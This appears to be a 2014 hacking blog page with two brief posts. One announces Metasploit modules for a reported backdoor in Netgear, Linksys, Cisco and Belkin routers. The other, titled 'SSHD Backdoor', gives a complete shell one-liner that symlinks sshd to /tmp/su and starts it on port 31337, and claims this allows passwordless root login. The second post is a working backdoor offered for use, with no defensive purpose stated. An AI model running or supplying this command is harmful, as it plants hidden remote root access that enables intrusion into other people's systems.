A week or so ago, I read the news of a new backdoor on several devices, including those made by  Belkin ,  Cisco ,  NetGear ,  Linksys , an...

Backdoor Modules for Netgear, Linksys, and Other Routers

Wednesday, January 15, 2014 Sensei Fedon 3 Comments

A week or so ago, I read the news of a new backdoor on several devices, including those made by Belkin, Cisco, NetGear, Linksys, and several others. A list of what seems to be affected devices can be found here. Eloi Vanderbeken, who posted his findings on GitHub made the original discovery. He also wrote a useful python proof-of-concept exploit, which allowed command injection, but I wanted Metasploit integration.

3 comments:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337; spawns sshd backdoor on port 31337  You can login with root/bin/ftp/mail/anyuser wi...

SSHD Backdoor

Wednesday, January 15, 2014 Sensei Fedon 0 Comments

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
spawns sshd backdoor on port 31337 
You can login with root/bin/ftp/mail/anyuser without password.

0 comments:

Subscribe to: Posts (Atom)